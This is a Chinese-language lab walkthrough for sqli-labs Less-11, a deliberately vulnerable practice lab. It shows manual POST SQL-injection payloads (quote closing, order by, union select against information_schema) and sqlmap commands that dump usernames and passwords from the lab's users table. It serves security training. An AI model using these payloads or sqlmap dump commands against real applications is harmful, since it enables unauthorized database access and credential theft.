首页 > 其他分享 >Less11基于post提交的单引号闭合的字符型注入

Less11基于post提交的单引号闭合的字符型注入

时间:2024-05-05 19:33:22浏览次数:25  
标签:11 sqli admin 单引号 192.168 -- post data Less11

Less11基于post提交的单引号闭合的字符型注入

xKMKlXAnGKbZ3UKKFLNKSwoplaqrNR0vEzgOnmBKUiY

一、手工注入

1.判断注入点

判断注入类型是否为数字型
1 or 1=1
1 or 1=2

发现页面显示相同,因此不是数字型

USeI1uIkqU9oBrx3t55my2H0P8dwgNKdlVp2PMLDqTs

判断注入类型是否为字符型
1' or 1=1#
1' or 1=2#

发现1=2页面异常报错,1=1正常。所以是单引号字符型闭合。

X5nLL0F-N4dX6Jkff-ITZlReIrrECugzi5HBebopgP4

6EgYMbvUh70sCF3A1bUKgjL-stNSfYOx3vNd25UgWy0

2.爆破字段数

1' order by 3#

发现3时报错,说明字段数为2。

D7SWsuFvNlBxauzCNPwNsg5_kOQnEBeZlMP02iAWjo0

3.爆破显示位置

1' union select 1,2#

发现显示位为1和2

d9KeTozCTCytOr8kROQPwRwA3POH9VVbvZZ4fxhNY2k

4.爆破数据库名

1' union select user(),database()#

成功爆出数据库名为security,用户为root@localhost,版本号自己用version()查询就行了。

WLFEKxqVQojNToX101gxrDpPOP--2h_iLXZ-pCDQHnQ

5.爆破数据表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

D_26DEhO1vwXwN-FgRgBPPbD4BrDX2XIY2v7fouLgWk

6.爆破字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"#

jd-iiMbQaZzaWeJ6hLrdaHmXieDhlbTklCt7BOTzskM

7.爆破值

1' union select group_concat(username),group_concat(password) from users #

zBgxZD7yaIf4iB8kXMXUEqo4gtc_8bkW6qmNMFP3nXc

二、SQLMap注入

由于11关是POST提交参数,所以需要添加--data参数

1.查看注入类型

sqlmap -u http://192.168.80.129/sqli-labs/Less-11/ --data="uname=admin&passwd=admin&submit=Submit"

Kcqe60t5hYcZr_YR7QAdYFpDsuoy0jpqBe4v3Ap2eOo

2.查看当前数据库

sqlmap -u http://192.168.80.129/sqli-labs/Less-11/ --data="uname=admin&passwd=admin&submit=Submit" -current-db

qbAm9mSU6W1c_5Y9UnDn65OjysFeEs8q6VUzCyT0LcI

3.查看表名

sqlmap -u http://192.168.80.129/sqli-labs/Less-11/ --data="uname=admin&passwd=admin&submit=Submit" -D security -tables

HpowF28r1W96grnx5qbxClUpsCs1YsimMB3rjp3rEtw

4.查看列名

sqlmap -u http://192.168.80.129/sqli-labs/Less-11/ --data="uname=admin&passwd=admin&submit=Submit" -D security -T users -columns

XKsCNEMMnc_Ku6bMkI-ZP0Yp5aKKrsGSK8B4GAfHNQw

5.查看字段内容

sqlmap -u http://192.168.80.129/sqli-labs/Less-11/ --data="uname=admin&passwd=admin&submit=Submit" -D security -T users -C username,password --dump

x5zhA8rz4UEFo7cv0fgppHgi5c-CEU6qIAOuFfG1tfU

标签:11,sqli,admin,单引号,192.168,--,post,data,Less11
From: https://www.cnblogs.com/fishjumpriver/p/18173764

相关文章

  • 15.Petclinic搜索接口测试执行-postman
    因 https://spring-petclinic-rest.k8s.hogwarts.ceshiren.com/petclinic/api/owners?lastName=LASTNAME接口不在支持使用故事用下方接口进行接口测试一、通过抓包获取接口信息,分析入参及响应数据选中接口鼠标右键选择:保存har导入postman二、根据接口和开发产品确认入参......
  • 【VMware vCenter】连接和使用vCenter Server嵌入式vPostgres数据库。
    vCenterServer早期支持内嵌(embedded)和外部(external)数据库,内嵌数据库就是vPostgres,基于VMwarePostgres数据库(PostgreSQL数据库),外部数据库用的多的是Oracle数据库和SQLServer数据库。因为早期使用内嵌的PostgreSQL数据库只能用于小型环境,比如仅支持几十台主机以及几百个虚拟机,所......
  • test_django_service_post
    """@Name:test_django_service_01.py@Author:zengchuanyin@Date2024/2/25-10:56"""importpytestimportloggingimportjsonfromconfigimportget_env_msgfromservice.console.djangoservice_post_consoleimportDjangoServicePostfrom......
  • PostgreSQL 简单使用
    切换到postgres用户:默认情况下,以postgres用户身份登录可以获得数据库的完全访问权限:sudosu-postgres登录到PostgreSQL:psql系统会提示您输入之前设置的postgres用户的密码。登录后,您可以创建新的数据库和用户,或者执行其他数据库操作。例如,创建一个名为mydatabas......
  • Get、Post区别
    参考:https://www.cnblogs.com/coderwcb/p/16090602.html区别语义不同,GET是获取数据,POST是提交数据。GET请求会把附加参数带在URL上,而POST请求会把提交数据放在报文内。post更安全(不会作为url的一部分,不会被缓存、保存在服务器日志、以及浏览器浏览记录中)post发送的数据更大(g......
  • [postgres]序列
    前言序列都是用createsequence命令创建的单行表,常用于为表的行生成唯一的标识符。相关函数函数作用nextval()递增序列并返回新值currval()返回最近一次用nextval()函数获取的指定序列的值lastval()返回最近一次用nextval()函数获取的任何序列的值setval(......
  • PostCss
    PostCss类似于一个编译器,可以将样式源码编译成最终的CSS代码PostCss和LESS、SASS的思路不同,它其实只做一些代码分析之类的事情,将分析的结果交给插件,具体的代码转换操作是插件去完成的。官方的一张图更能说明postcss的处理流程:这一点有点像webpack,webpack本身仅做依赖分析、......
  • PostgreSQL从小白到高手教程 - 第50讲:PG分区表管理
       PostgreSQL从小白到专家,是从入门逐渐能力提升的一个系列教程,内容包括对PG基础的认知、包括安装使用、包括角色权限、包括维护管理、、等内容,希望对热爱PG、学习PG的同学们有帮助,欢迎持续关注CUUGPG技术大讲堂。 第50讲:PG分区表管理 内容1:数据分区内容2:表继承内......
  • postgresql权限相关
    给用户赋予表的权限--赋予SELECT权限GRANTSELECTONTABLEtable_nameTOusername;--赋予INSERT,UPDATE,DELETE权限GRANTINSERT,UPDATE,DELETEONTABLEtable_nameTOusername;--赋予所有权限GRANTALLPRIVILEGESONTABLEtable_nameTO......
  • PostgreSQL外部表(转)
    当谈到外部表和数据导入导出时,PostgreSQL提供了一些功能和工具,使得处理外部数据变得更加便捷。让我们逐步介绍这些概念和技术。外部表(ForeignTables):外部表是PostgreSQL中的一个概念,它允许你在数据库中访问和查询外部数据源中的数据,而无需将数据实际复制到数据库中。通过外部表,你......